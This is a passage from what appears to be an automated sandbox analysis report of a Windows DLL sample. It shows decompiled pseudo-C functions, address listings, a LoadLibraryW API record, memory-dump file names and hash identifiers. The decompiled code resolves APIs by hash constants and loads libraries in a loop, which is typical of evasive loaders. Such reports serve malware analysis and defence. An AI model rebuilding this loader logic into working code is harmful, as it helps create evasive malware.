							E6E668CA0(_t278);
							L6E658180(_t404);
						} else {
							__eflags = _t171 - 5;
							if(_t171 != 5) {
								__eflags = _t171 - 6;
								if(__eflags == 0) {
									_t325 = _t416 + 0xa4;
									 *_t325 = 0;
									 *((intOrPtr*)(_t325 + 4)) = 0;
									 *((intOrPtr*)(_t325 + 8)) = 0;
									 *((intOrPtr*)(_t325 + 0xc)) = 0;
									L6E665B60(_t277, _t325, _t401, _t404, __eflags);
									E6E656740(_t416 + 0xa4);
									E6E661350(0x12);
									__eflags =  *(_t416 + 0xa8);
									if( *(_t416 + 0xa8) > 0) {
										_t280 = 0;
										__eflags = 0;
										do {
											_t190 = E6E682B00(_t416 + 0xa8, _t280);
											__eflags =  *((char*)(_t190 + 0x3c));
											if( *((char*)(_t190 + 0x3c)) == 0) {
												E6E652A40(_t416 + 0x50, _t190);
												E6E668CA0(_t416 + 0x50);
											}
											_t280 = _t280 + 1;
											__eflags = _t280 -  *(_t416 + 0xa8);
										} while (_t280 <  *(_t416 + 0xa8));
									}
									E6E682970(_t277, _t416 + 0xa4, _t401);
									_t329 =  *(_t416 + 0xb0);
									__eflags =  *(_t416 + 0xb0);
									if( *(_t416 + 0xb0) != 0) {
										E6E652A20(_t329, 1);
									}
								}
							} else {
								__eflags = _t277;
								if(_t277 == 0) {
									__eflags =  *0x6e68b1cc - 1;
									if(__eflags <= 0) {
										L69:
										_t333 = _t416 + 0x18;
										 *_t333 = 0;
										 *((intOrPtr*)(_t333 + 4)) = 0;
										 *((intOrPtr*)(_t333 + 8)) = 0;
										 *((intOrPtr*)(_t333 + 0xc)) = 0;
										L6E665B60(_t277, _t333, _t401, _t404, __eflags);
										__eflags = ( *0x6e68b029 & 0x000000ff) - 1;
										E6E657DB0(_t416 + 0x18, 0 | ( *0x6e68b029 & 0x000000ff) - 0x00000001 > 0x00000000);
										__eflags =  *0x6e68b029 & 0x000000ff;
										if(( *0x6e68b029 & 0x000000ff) != 0) {
											E6E661350(0x12);
											__eflags =  *(_t416 + 0x1c);
											if( *(_t416 + 0x1c) > 0) {
												_t281 = 0;
												__eflags = 0;
												do {
													_t200 = E6E682B00(_t416 + 0x1c, _t281);
													__eflags =  *((char*)(_t200 + 0x3c));
													if( *((char*)(_t200 + 0x3c)) == 0) {
														E6E652A40(_t416 + 0x10, _t200);
														E6E668CA0(_t416 + 0x10);
													}
													_t281 = _t281 + 1;
													__eflags = _t281 -  *(_t416 + 0x1c);
												} while (_t281 <  *(_t416 + 0x1c));
											}
										}
										E6E682970(_t277, _t416 + 0x18, _t401);
										_t336 =  *(_t416 + 0x24);
										__eflags =  *(_t416 + 0x24);
										if( *(_t416 + 0x24) != 0) {
											E6E652A20(_t336, 1);
										}
									} else {
										_t203 =  *0x6e68b1d0; // 0x10f0748
										__eflags = ( *( *(_t203 + 4)) & 0x0000ffff) - 0x2d;
										if(__eflags != 0) {
											goto L69;
										}
									}
								}
							}
						}
						E6E678910(_t416 + 0x130, _t401, _t404);
						E6E668CA0(_t416 + 0x110);
						E6E668CA0(_t416 + 0x108);
						E6E667A70(_t416 + 0x128);
						__eflags = 0;
						return 0;
					} else {
						__eflags =  *0x6e68b027 & 0x000000ff;
						if(( *0x6e68b027 & 0x000000ff) == 0) {
							goto L52;
						} else {
							__eflags = _t277;
							if(_t277 != 0) {
								goto L52;
							} else {
								__eflags =  *((char*)(_t410 + 0xb)) - 0x20;
								_t399 =  ==  ? 0x7fe7dfa2 : 0xfd81b916;
								E6E6561B0(_t416 + 0x3c,  ==  ? 0x7fe7dfa2 : 0xfd81b916,  *((char*)(_t410 + 0xb)) - 0x20);
								E6E668810(_t416 + 0x18, 0x200);
								_t353 = E6E6615C0(0xa1310f65, 0xc4d11e8a);
								__eflags = _t353;
								if(__eflags != 0) {
									_t240 =  *(_t416 + 0x18) >> 1;
									__eflags = _t240;
									_t399 =  *0x6e68b1c4; // 0x6e650000
									 *_t353(_t399,  *(_t416 + 0x18), _t240);
								}
								_push(0x80);
								_push(0);
								E6E67A4E0(_t416 + 0x10, __eflags,  *((intOrPtr*)(_t416 + 0x20)), 1);
								E6E67A520(_t416 + 8, _t399, _t416 + 0x1c, 0);
								__eflags =  *((char*)(_t416 + 0x10));
								if( *((char*)(_t416 + 0x10)) != 0) {
									E6E67BE30(_t416 + 0xc, _t404);
								}
								__eflags = 0;
								E6E668CA0(_t416);
								_t406 = _t416 + 0x1a0;
								_t413 = _t416 + 0x2c;
								while(1) {
									E6E660B70(_t406, 0, 0x44);
									 *((intOrPtr*)(_t416 + 0x1ac)) = 0x44;
									E6E660B70(_t413, 0, 0x10);
									_t416 = _t416 + 0x18;
									E6E668810(_t416 + 0x4c, 0);
									_t232 = E6E6696D0(E6E6696D0(E6E670220(_t416 + 0x50,  *((intOrPtr*)(_t416 + 0x40)), 0), 0x20), 0x22);
									_t233 =  *0x6e68b1d0; // 0x10f0748
									E6E6696D0(E6E670220(_t232,  *_t233, 0), 0x22);
									_t236 = E6E6615C0(0xa1310f65, 0x643f303c);
									__eflags = _t236;
									if(_t236 != 0) {
										break;
									}
									E6E668CA0(_t416 + 0x48);
								}
								_push(_t413);
								_push(_t406);
								_push(0);
								_push(0);
								_push(4);
								_push(0);
								_push(0);
								_push(0);
								_push( *((intOrPtr*)(_t416 + 0x68)));
								_push( *((intOrPtr*)(_t416 + 0x60)));
								asm("int3");
								return _t236;
							}
						}
					}
				} else {
					E6E678910(_t416 + 0x130, _t400, _t404);
					E6E668CA0(_t416 + 0x110);
					E6E668CA0(_t416 + 0x108);
					E6E667A70(_t416 + 0x128);
					__eflags = 0;
					return 0;
				}
			}

0x6e65543d
0x6e655451
0x6e655457
0x6e655459
0x6e655459
0x6e65545e
0x6e65546f
0x6e655483
0x6e655487
0x6e65549c
0x6e65549c
0x6e6554a5
0x6e6554bf
0x6e6554d9
0x6e6554ec
0x6e6554f1
0x6e6554f3
0x6e655506
0x6e65550b
0x6e65551c
0x6e655525
0x6e655538
0x6e655546
0x6e655552
0x6e655563
0x6e65556a
0x6e655576
0x6e655589
0x6e655590
0x6e655599
0x6e655599
0x6e655599
0x6e65559c
0x6e6554f5
0x6e6554f5
0x6e6554f5
0x6e6555a8
0x6e6555b4
0x6e6555b9
0x6e6555bb
0x6e6555c4
0x6e6555c4
0x00000000
0x00000000
0x00000000
0x6e6554c1
0x6e6554c8
0x6e6555bd
0x6e6555bd
0x6e6555bd
0x6e6555d2
0x6e6555e8
0x6e6555f4
0x6e655601
0x6e655603
0x6e655608
0x00000000
0x6e65560f
0x00000000
0x6e65560f
0x6e65560f
0x6e655622
0x6e65562e
0x6e65562e
0x6e655630
0x6e655637
0x6e655637
0x6e65563a
0x00000000
0x00000000
0x6e65563f
0x00000000
0x6e655641
0x6e655641
0x6e65564b
0x00000000
0x6e65564d
0x00000000
0x6e65564d
0x6e65564b
0x00000000
0x6e65563f
0x6e65564f
0x00000000
0x6e65564f
0x6e65560f
0x6e65560f
0x6e655652
0x6e655652
0x6e655656
0x6e65569c
0x6e65569e
0x6e6556ab
0x6e6556ad
0x6e6556b3
0x6e6556ba
0x6e6556c0
0x6e6556c5
0x6e6556c8
0x6e6556cb
0x6e6556ce
0x6e6556de
0x6e6556e3
0x6e6556e8
0x6e6556f7
0x6e655700
0x6e655705
0x6e655707
0x6e655724
0x6e655729
0x6e65572f
0x6e65572f
0x6e655738
0x6e65573d
0x6e65573d
0x6e65573f
0x6e65574b
0x6e65574d
0x00000000
0x00000000
0x6e655754
0x6e655759
0x6e65575a
0x6e65575d
0x00000000
0x00000000
0x00000000
0x6e65575d
0x6e65575f
0x6e655766
0x6e655770
0x6e655783
0x6e65578a
0x6e65579b
0x6e65579b
0x6e655709
0x6e655709
0x6e65570e
0x6e655714
0x6e655714
0x6e65571d
0x6e65571d
0x6e6557a6
0x6e6557a6
0x6e6556ce
0x6e6556ba
0x6e6556ad
0x6e6557b2
0x6e6557b5
0x6e655b3c
0x6e655b3c
0x6e655b41
0x6e655b43
0x6e655b54
0x6e655b54
0x6e655b59
0x6e655b5b
0x6e655e33
0x6e655e35
0x6e655e3a
0x6e655e3d
0x6e655e3f
0x6e655e47
0x6e655e49
0x6e655e41
0x6e655e41
0x6e655e41
0x6e655e4e
0x6e655e4e
0x6e655b61
0x6e655b6e
0x6e655b71
0x6e655e0b
0x6e655e10
0x6e655e1a
0x6e655e21
0x6e655e22
0x6e655e29
0x6e655b77
0x6e655b86
0x6e655b86
0x6e655b45
0x6e655b45
0x6e655b4b
0x6e655b50
0x6e655b52
0x00000000
0x00000000
0x6e655b52
0x6e655b92
0x6e655b97
0x6e655b99
0x6e655baa
0x6e655baa
0x6e655baf
0x6e655bb1
0x6e655eb0
0x6e655eb2
0x6e655eb7
0x6e655eba
0x6e655ebc
0x6e655ec4
0x6e655ec6
0x6e655ebe
0x6e655ebe
0x6e655ebe
0x6e655ecb
0x6e655ecb
0x6e655bb7
0x6e655bc4
0x6e655bc7
0x6e655e62
0x6e655e68
0x6e655e73
0x6e655e74
0x6e655e7d
0x6e655e84
0x6e655e89
0x6e655e8b
0x6e655e93
0x6e655e9e
0x6e655ea6
0x6e655ea6
0x6e655bcd
0x6e655bcf
0x6e655be8
0x6e655bf1
0x6e655bf5
0x6e655bf7
0x6e655c05
0x6e655c06
0x6e655c12
0x6e655c12
0x6e655b9b
0x6e655b9b
0x6e655ba1
0x6e655ba6
0x6e655ba8
0x00000000
0x00000000
0x6e655ba8
0x6e655c1e
0x6e655c21
0x6e655c24
0x6e655d87
0x6e655d8e
0x6e655ee4
0x6e655ee4
0x6e655d94
0x6e655d9c
0x6e655daa
0x6e655dbd
0x6e655dc4
0x6e655dc9
0x6e655c2a
0x6e655c2a
0x6e655c2d
0x6e655cf0
0x6e655cf3
0x6e655cfb
0x6e655d02
0x6e655d04
0x6e655d07
0x6e655d0a
0x6e655d0d
0x6e655d1b
0x6e655d25
0x6e655d2a
0x6e655d32
0x6e655d34
0x6e655d34
0x6e655d36
0x6e655d3e
0x6e655d43
0x6e655d47
0x6e655d4f
0x6e655d58
0x6e655d58
0x6e655d5d
0x6e655d5e
0x6e655d5e
0x6e655d36
0x6e655d6e
0x6e655d73
0x6e655d7a
0x6e655d7c
0x6e655d80
0x6e655d80
0x6e655d7c
0x6e655c33
0x6e655c33
0x6e655c35
0x6e655c3b
0x6e655c42
0x6e655c58
0x6e655c5a
0x6e655c5e
0x6e655c60
0x6e655c63
0x6e655c66
0x6e655c69
0x6e655c77
0x6e655c81
0x6e655c8d
0x6e655c8f
0x6e655c96
0x6e655c9b
0x6e655ca0
0x6e655ca2
0x6e655ca2
0x6e655ca4
0x6e655ca9
0x6e655cae
0x6e655cb2
0x6e655cba
0x6e655cc3
0x6e655cc3
0x6e655cc8
0x6e655cc9
0x6e655cc9
0x6e655ca4
0x6e655ca0
0x6e655cd3
0x6e655cd8
0x6e655cdc
0x6e655cde
0x6e655ce6
0x6e655ce6
0x6e655c44
0x6e655c44
0x6e655c4f
0x6e655c52
0x00000000
0x00000000
0x6e655c52
0x6e655c42
0x6e655c35
0x6e655c2d
0x6e655dd5
0x6e655de1
0x6e655ded
0x6e655df9
0x6e655dfe
0x6e655e0a
0x6e6557bb
0x6e6557c2
0x6e6557c4
0x00000000
0x6e6557ca
0x6e6557ca
0x6e6557cc
0x00000000
0x6e6557d2
0x6e6557dc
0x6e6557e4
0x6e6557e7
0x6e6557f5
0x6e655809
0x6e65580b
0x6e65580d
0x6e655813
0x6e655813
0x6e65581a
0x6e655821
0x6e655821
0x6e655823
0x6e655828
0x6e655834
0x6e655844
0x6e655849
0x6e65584e
0x6e655854
0x6e655854
0x6e655859
0x6e65585e
0x6e655863
0x6e65586a
0x6e65586e
0x6e655873
0x6e655878
0x6e655888
0x6e65588d
0x6e655896
0x6e6558b7
0x6e6558be
0x6e6558d0
0x6e6558df
0x6e6558e4
0x6e6558e6
0x00000000
0x00000000
0x6e655996
0x6e655996
0x6e6558ec
0x6e6558ed
0x6e6558ee
0x6e6558ef
0x6e6558f0
0x6e6558f2
0x6e6558f3
0x6e6558f4
0x6e6558f5
0x6e6558f9
0x6e6558fd
0x6e6558fe
0x6e6558fe
0x6e6557cc
0x6e6557c4
0x6e655658
0x6e65565f
0x6e65566b
0x6e655677
0x6e655683
0x6e655688
0x6e655694
0x6e655694

APIs

LoadLibraryW.KERNELBASE(00000000,00000001,A1310F65,F3AF54A7,A1310F65,F3AF54A7), ref: 6E65562E

Strings

)V, xrefs: 6E6555D2

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: LibraryLoad
String ID: )V
API String ID: 1029625771-578813878
Opcode ID: a244352ca9ea48c8c54bde020818e9f425a8511e64ab1ff96ba8fa9207228fc5
Instruction ID: 6717c6de564f3d33ff16f999436405811f6ccf0b6df9dd50416596e6a5df75b3
Opcode Fuzzy Hash: a244352ca9ea48c8c54bde020818e9f425a8511e64ab1ff96ba8fa9207228fc5
Instruction Fuzzy Hash: BE31083022C2848BC735EBE4CC55BEEB3E9AF85308F404C2DD196462A0EF305A65CB57

Uniqueness

Uniqueness Score: -1.00%

Function 6E6554F5, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 46
libraryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E6E6554F5() {
				signed int _t109;
				signed int _t110;
				signed int _t111;
				signed int _t112;
				signed int _t117;
				signed int _t118;
				signed int _t119;
				signed int _t120;
				signed int _t127;
				intOrPtr _t128;
				intOrPtr* _t132;
				void* _t147;
				void* _t157;
				intOrPtr _t160;
				signed int _t170;
				signed int _t174;
				void* _t189;
				intOrPtr* _t190;
				signed int _t193;
				unsigned int _t197;
				intOrPtr _t200;
				signed short* _t201;
				signed int _t204;
				void* _t222;
				signed int _t226;
				signed int _t229;
				signed int _t230;
				intOrPtr* _t256;
				intOrPtr* _t264;
				signed int _t279;
				signed int _t281;
				signed int _t284;
				void* _t328;
				signed int _t329;
				signed int _t332;
				void* _t334;
				signed int _t335;
				intOrPtr _t338;
				void* _t341;
				intOrPtr* _t344;

				E6E668CA0(_t344 + 0xe4);
				E6E668CA0(_t344 + 0x118);
				if(1 == 0) {
					_t226 = 0;
					__eflags = 0;
				} else {
					_t226 = 1;
				}
				E6E65AC00(_t344 + 0x120, 2);
				E6E66D980(_t344 + 0x128, _t344 + 0x130, 0x7e);
				E6E668CA0(_t344 + 0x120);
				if( *(_t344 + 0x130) > 0) {
					 *_t344 = _t338;
					_t329 = _t344 + 0x130;
					L6:
					while(1) {
						L6:
						while(1) {
							L6:
							if(E6E6615C0(0xa1310f65, 0xf3af54a7) != 0) {
								LoadLibraryW( *(E6E677600(_t329, _t332))); // executed
							}
							_t222 =  *(_t344 + 0x130);
							while(1) {
								_t332 = 1;
								if(1 >= _t222) {
									break;
								}
								if(1 != 4) {
									goto L6;
								} else {
									_t316 =  *0x6e68b02a & 0x000000ff;
									if(( *0x6e68b02a & 0x000000ff) == 2) {
										continue;
									} else {
										goto L6;
									}
								}
								goto L14;
							}
							_t338 =  *_t344;
							goto L14;
						}
					}
				}
				L14:
				__eflags =  *((intOrPtr*)(_t338 + 0x2c)) - 2;
				if( *((intOrPtr*)(_t338 + 0x2c)) != 2) {
					__eflags =  *0x6e68b028 & 0x000000ff;
					if(( *0x6e68b028 & 0x000000ff) == 0) {
						__eflags =  *0x6e68b265 & 0x000000ff;
						if(( *0x6e68b265 & 0x000000ff) == 0) {
							__eflags =  *0x6e68b1cc - 1;
							if( *0x6e68b1cc != 1) {
								_t200 =  *0x6e68b1d0; // 0x10f0748
								_t201 =  *(_t200 + 4);
								_t316 =  *_t201 & 0x0000ffff;
								__eflags = ( *_t201 & 0x0000ffff) - 0x2d;
								if(( *_t201 & 0x0000ffff) != 0x2d) {
									E6E668AB0(_t344 + 0xcc, _t201, 0);
									_push(0x80);
									_push(0);
									E6E67A4E0(_t344 + 0x68, __eflags,  *((intOrPtr*)(_t344 + 0xd0)), 1);
									_t204 = E6E67BEA0(_t344 + 0x64, _t316, _t332);
									__eflags = _t204;
									if(_t204 == 0) {
										__eflags =  *((char*)(_t344 + 0x68));
										if( *((char*)(_t344 + 0x68)) != 0) {
											E6E67BE30(_t344 + 0x64, _t332);
										}
										E6E668CA0(_t344 + 0x58);
										_t335 = 0;
										__eflags = 0;
										while(1) {
											__eflags = E6E67A730(_t344 + 0xc4, _t316);
											if(__eflags == 0) {
												break;
											}
											E6E6622A0(0x64, _t316);
											_t335 = _t335 + 1;
											__eflags = _t335 - 0x64;
											if(__eflags < 0) {
												continue;
											}
											break;
										}
										_t332 = _t344 + 0xcc;
										do {
											E6E66AE80(_t344 + 0xcc, __eflags, _t332, 0x5c);
											E6E668CC0(_t344 + 0xc8,  *(_t344 + 0xcc));
											E6E668CA0(_t332);
											__eflags = E6E67A730(_t344 + 0xc4, _t316);
										} while (__eflags == 0);
									} else {
										__eflags =  *((char*)(_t344 + 0x68));
										if( *((char*)(_t344 + 0x68)) != 0) {
											E6E67BE30(_t344 + 0x64, _t332);
										}
										E6E668CA0(_t344 + 0x58);
									}
									E6E668CA0(_t344 + 0xc4);
								}
							}
						}
					}
					__eflags = ( *0x6e68b02a & 0x000000ff) - 2;
					if(( *0x6e68b02a & 0x000000ff) == 2) {
						L43:
						_t109 =  *0x6e68b1ad; // 0xf2a3f8
						__eflags = _t109;
						if(_t109 == 0) {
							L45:
							_t110 =  *0x6e68b1ad; // 0xf2a3f8
							__eflags = _t110;
							if(_t110 == 0) {
								_push(0x10);
								_t111 = E6E661030();
								_t344 = _t344 + 4;
								__eflags = _t111;
								if(_t111 != 0) {
									_push(0);
									_t112 = E6E679350(_t111);
								} else {
									_t112 = 0;
								}
								 *0x6e68b1ad = _t112;
							}
							_t332 =  *0x6e68b1ad; // 0xf2a3f8
							__eflags = ( *0x6e68b02a & 0x000000ff) - 1;
							if(( *0x6e68b02a & 0x000000ff) == 1) {
								_t316 = 0x18f8c844;
								_t329 = _t344 + 0x28;
								E6E656AD0(_t226, _t329, 0x18f8c844, _t329, _t332, 1, 0);
								_push(_t329);
								E6E679520(_t332);
								E6E679510(_t329);
							} else {
								E6E679710(_t332, 0x6e68b02d,  *0x6e68b02b & 0x0000ffff);
							}
						} else {
							_t281 =  *0x6e68b1ad; // 0xf2a3f8
							_t174 = E6E679660(_t281);
							__eflags = _t174;
							if(_t174 != 0) {
								goto L45;
							}
						}
						_t117 =  *0x6e68b1b1; // 0x0
						__eflags = _t117;
						if(_t117 == 0) {
							L51:
							_t118 =  *0x6e68b1b1; // 0x0
							__eflags = _t118;
							if(_t118 == 0) {
								_push(0x10);
								_t119 = E6E661030();
								_t344 = _t344 + 4;
								__eflags = _t119;
								if(_t119 != 0) {
									_push(0);
									_t120 = E6E679350(_t119);
								} else {
									_t120 = 0;
								}
								 *0x6e68b1b1 = _t120;
							}
							_t329 =  *0x6e68b1b1; // 0x0
							__eflags = ( *0x6e68b02a & 0x000000ff) - 1;
							if(( *0x6e68b02a & 0x000000ff) == 1) {
								_t316 = 0x11041f01;
								E6E656AD0(_t226, _t344 + 0x38, 0x11041f01, _t329, _t332, 1, 1);
								_push(_t344 + 0x38);
								E6E679520(_t329);
								E6E679510(_t344 + 0x38);
								_t127 = E6E679650(_t329);
								__eflags = _t127;
								if(_t127 != 0) {
									_t316 = 0xd3ef7577;
									E6E656AD0(_t226, _t344 + 8, 0xd3ef7577, _t329, _t332, 0, 0);
									E6E679510(_t344);
								}
							} else {
								_t332 =  *0x6e68b1c4; // 0x6e650000
								__eflags =  *((char*)(E6E663930(_t226, 0, _t329, _t332) + 0xb)) - 0x20;
								_t325 =  ==  ? 0x7e839a6 : 0x93fc68d6;
								_t316 = _t332;
								E6E659090(_t344 + 0x88, _t332,  ==  ? 0x7e839a6 : 0x93fc68d6);
								_push(_t344 + 0x88);
								E6E679520(_t329);
								E6E679510(_t344 + 0x88);
							}
						} else {
							_t279 =  *0x6e68b1b1; // 0x0
							_t170 = E6E679660(_t279);
							__eflags = _t170;
							if(_t170 != 0) {
								goto L51;
							}
						}
						_t128 =  *((intOrPtr*)(_t338 + 0x2c));
						__eflags = _t128 - 3;
						if(_t128 == 3) {
							__eflags =  *0x6e68b1cc - 3;
							if( *0x6e68b1cc == 3) {
								E6E668CC0(_t344 + 0x10c,  *((intOrPtr*)( *0x6e68b1d0 + 8)));
							}
							_t227 = _t344 + 0x48;
							E6E668810(_t344 + 0x48, 0);
							_t132 = E6E669890(_t227, _t344 + 0x48, _t316, _t329, _t332, _t227, 0x6e689428,  *((intOrPtr*)(_t338 + 0x2c)));
							E6E670220(_t344 + 0x110,  *_t132, 0);
							E6E668CA0(_t227);
							L6E658180(_t332);
						} else {
							__eflags = _t128 - 5;
							if(_t128 != 5) {
								__eflags = _t128 - 6;
								if(__eflags == 0) {
									_t256 = _t344 + 0xa4;
									 *_t256 = 0;
									 *((intOrPtr*)(_t256 + 4)) = 0;
									 *((intOrPtr*)(_t256 + 8)) = 0;
									 *((intOrPtr*)(_t256 + 0xc)) = 0;
									L6E665B60(_t226, _t256, _t329, _t332, __eflags);
									E6E656740(_t344 + 0xa4);
									E6E661350(0x12);
									__eflags =  *(_t344 + 0xa8);
									if( *(_t344 + 0xa8) > 0) {
										_t229 = 0;
										__eflags = 0;
										do {
											_t147 = E6E682B00(_t344 + 0xa8, _t229);
											__eflags =  *((char*)(_t147 + 0x3c));
											if( *((char*)(_t147 + 0x3c)) == 0) {
												E6E652A40(_t344 + 0x50, _t147);
												E6E668CA0(_t344 + 0x50);
											}
											_t229 = _t229 + 1;
											__eflags = _t229 -  *(_t344 + 0xa8);
										} while (_t229 <  *(_t344 + 0xa8));
									}
									E6E682970(_t226, _t344 + 0xa4, _t329);
									_t260 =  *(_t344 + 0xb0);
									__eflags =  *(_t344 + 0xb0);
									if( *(_t344 + 0xb0) != 0) {
										E6E652A20(_t260, 1);
									}
								}
							} else {
								__eflags = _t226;
								if(_t226 == 0) {
									__eflags =  *0x6e68b1cc - 1;
									if(__eflags <= 0) {
										L60:
										_t264 = _t344 + 0x18;
										 *_t264 = 0;
										 *((intOrPtr*)(_t264 + 4)) = 0;
										 *((intOrPtr*)(_t264 + 8)) = 0;
										 *((intOrPtr*)(_t264 + 0xc)) = 0;
										L6E665B60(_t226, _t264, _t329, _t332, __eflags);
										__eflags = ( *0x6e68b029 & 0x000000ff) - 1;
										E6E657DB0(_t344 + 0x18, 0 | ( *0x6e68b029 & 0x000000ff) - 0x00000001 > 0x00000000);
										__eflags =  *0x6e68b029 & 0x000000ff;
										if(( *0x6e68b029 & 0x000000ff) != 0) {
											E6E661350(0x12);
											__eflags =  *(_t344 + 0x1c);
											if( *(_t344 + 0x1c) > 0) {
												_t230 = 0;
												__eflags = 0;
												do {
													_t157 = E6E682B00(_t344 + 0x1c, _t230);
													__eflags =  *((char*)(_t157 + 0x3c));
													if( *((char*)(_t157 + 0x3c)) == 0) {
														E6E652A40(_t344 + 0x10, _t157);
														E6E668CA0(_t344 + 0x10);
													}
													_t230 = _t230 + 1;
													__eflags = _t230 -  *(_t344 + 0x1c);
												} while (_t230 <  *(_t344 + 0x1c));
											}
										}
										E6E682970(_t226, _t344 + 0x18, _t329);
										_t267 =  *(_t344 + 0x24);
										__eflags =  *(_t344 + 0x24);
										if( *(_t344 + 0x24) != 0) {
											E6E652A20(_t267, 1);
										}
									} else {
										_t160 =  *0x6e68b1d0; // 0x10f0748
										__eflags = ( *( *(_t160 + 4)) & 0x0000ffff) - 0x2d;
										if(__eflags != 0) {
											goto L60;
										}
									}
								}
							}
						}
						E6E678910(_t344 + 0x130, _t329, _t332);
						E6E668CA0(_t344 + 0x110);
						E6E668CA0(_t344 + 0x108);
						E6E667A70(_t344 + 0x128);
						__eflags = 0;
						return 0;
					} else {
						__eflags =  *0x6e68b027 & 0x000000ff;
						if(( *0x6e68b027 & 0x000000ff) == 0) {
							goto L43;
						} else {
							__eflags = _t226;
							if(_t226 != 0) {
								goto L43;
							} else {
								__eflags =  *((char*)(_t338 + 0xb)) - 0x20;
								_t327 =  ==  ? 0x7fe7dfa2 : 0xfd81b916;
								E6E6561B0(_t344 + 0x3c,  ==  ? 0x7fe7dfa2 : 0xfd81b916,  *((char*)(_t338 + 0xb)) - 0x20);
								E6E668810(_t344 + 0x18, 0x200);
								_t284 = E6E6615C0(0xa1310f65, 0xc4d11e8a);
								__eflags = _t284;
								if(__eflags != 0) {
									_t197 =  *(_t344 + 0x18) >> 1;
									__eflags = _t197;
									_t327 =  *0x6e68b1c4; // 0x6e650000
									 *_t284(_t327,  *(_t344 + 0x18), _t197);
								}
								_push(0x80);
								_push(0);
								E6E67A4E0(_t344 + 0x10, __eflags,  *((intOrPtr*)(_t344 + 0x20)), 1);
								E6E67A520(_t344 + 8, _t327, _t344 + 0x1c, 0);
								__eflags =  *((char*)(_t344 + 0x10));
								if( *((char*)(_t344 + 0x10)) != 0) {
									E6E67BE30(_t344 + 0xc, _t332);
								}
								__eflags = 0;
								E6E668CA0(_t344);
								_t334 = _t344 + 0x1a0;
								_t341 = _t344 + 0x2c;
								while(1) {
									E6E660B70(_t334, 0, 0x44);
									 *((intOrPtr*)(_t344 + 0x1ac)) = 0x44;
									E6E660B70(_t341, 0, 0x10);
									_t344 = _t344 + 0x18;
									E6E668810(_t344 + 0x4c, 0);
									_t189 = E6E6696D0(E6E6696D0(E6E670220(_t344 + 0x50,  *((intOrPtr*)(_t344 + 0x40)), 0), 0x20), 0x22);
									_t190 =  *0x6e68b1d0; // 0x10f0748
									E6E6696D0(E6E670220(_t189,  *_t190, 0), 0x22);
									_t193 = E6E6615C0(0xa1310f65, 0x643f303c);
									__eflags = _t193;
									if(_t193 != 0) {
										break;
									}
									E6E668CA0(_t344 + 0x48);
								}
								_push(_t341);
								_push(_t334);
								_push(0);
								_push(0);
								_push(4);
								_push(0);
								_push(0);
								_push(0);
								_push( *((intOrPtr*)(_t344 + 0x68)));
								_push( *((intOrPtr*)(_t344 + 0x60)));
								asm("int3");
								return _t193;
							}
						}
					}
				} else {
					E6E678910(_t344 + 0x130, _t328, _t332);
					E6E668CA0(_t344 + 0x110);
					E6E668CA0(_t344 + 0x108);
					E6E667A70(_t344 + 0x128);
					__eflags = 0;
					return 0;
				}
			}

0x6e6555a8
0x6e6555b4
0x6e6555bb
0x6e6555c4
0x6e6555c4
0x6e6555bd
0x6e6555bd
0x6e6555bd
0x6e6555d2
0x6e6555e8
0x6e6555f4
0x6e655601
0x6e655603
0x6e655608
0x00000000
0x6e65560f
0x00000000
0x6e65560f
0x6e65560f
0x6e655622
0x6e65562e
0x6e65562e
0x6e655630
0x6e655637
0x6e655637
0x6e65563a
0x00000000
0x00000000
0x6e65563f
0x00000000
0x6e655641
0x6e655641
0x6e65564b
0x00000000
0x6e65564d
0x00000000
0x6e65564d
0x6e65564b
0x00000000
0x6e65563f
0x6e65564f
0x00000000
0x6e65564f
0x6e65560f
0x6e65560f
0x6e655652
0x6e655652
0x6e655656
0x6e65569c
0x6e65569e
0x6e6556ab
0x6e6556ad
0x6e6556b3
0x6e6556ba
0x6e6556c0
0x6e6556c5
0x6e6556c8
0x6e6556cb
0x6e6556ce
0x6e6556de
0x6e6556e3
0x6e6556e8
0x6e6556f7
0x6e655700
0x6e655705
0x6e655707
0x6e655724
0x6e655729
0x6e65572f
0x6e65572f
0x6e655738
0x6e65573d
0x6e65573d
0x6e65573f
0x6e65574b
0x6e65574d
0x00000000
0x00000000
0x6e655754
0x6e655759
0x6e65575a
0x6e65575d
0x00000000
0x00000000
0x00000000
0x6e65575d
0x6e65575f
0x6e655766
0x6e655770
0x6e655783
0x6e65578a
0x6e65579b
0x6e65579b
0x6e655709
0x6e655709
0x6e65570e
0x6e655714
0x6e655714
0x6e65571d
0x6e65571d
0x6e6557a6
0x6e6557a6
0x6e6556ce
0x6e6556ba
0x6e6556ad
0x6e6557b2
0x6e6557b5
0x6e655b3c
0x6e655b3c
0x6e655b41
0x6e655b43
0x6e655b54
0x6e655b54
0x6e655b59
0x6e655b5b
0x6e655e33
0x6e655e35
0x6e655e3a
0x6e655e3d
0x6e655e3f
0x6e655e47
0x6e655e49
0x6e655e41
0x6e655e41
0x6e655e41
0x6e655e4e
0x6e655e4e
0x6e655b61
0x6e655b6e
0x6e655b71
0x6e655e0b
0x6e655e10
0x6e655e1a
0x6e655e21
0x6e655e22
0x6e655e29
0x6e655b77
0x6e655b86
0x6e655b86
0x6e655b45
0x6e655b45
0x6e655b4b
0x6e655b50
0x6e655b52
0x00000000
0x00000000
0x6e655b52
0x6e655b92
0x6e655b97
0x6e655b99
0x6e655baa
0x6e655baa
0x6e655baf
0x6e655bb1
0x6e655eb0
0x6e655eb2
0x6e655eb7
0x6e655eba
0x6e655ebc
0x6e655ec4
0x6e655ec6
0x6e655ebe
0x6e655ebe
0x6e655ebe
0x6e655ecb
0x6e655ecb
0x6e655bb7
0x6e655bc4
0x6e655bc7
0x6e655e62
0x6e655e68
0x6e655e73
0x6e655e74
0x6e655e7d
0x6e655e84
0x6e655e89
0x6e655e8b
0x6e655e93
0x6e655e9e
0x6e655ea6
0x6e655ea6
0x6e655bcd
0x6e655bcf
0x6e655be8
0x6e655bf1
0x6e655bf5
0x6e655bf7
0x6e655c05
0x6e655c06
0x6e655c12
0x6e655c12
0x6e655b9b
0x6e655b9b
0x6e655ba1
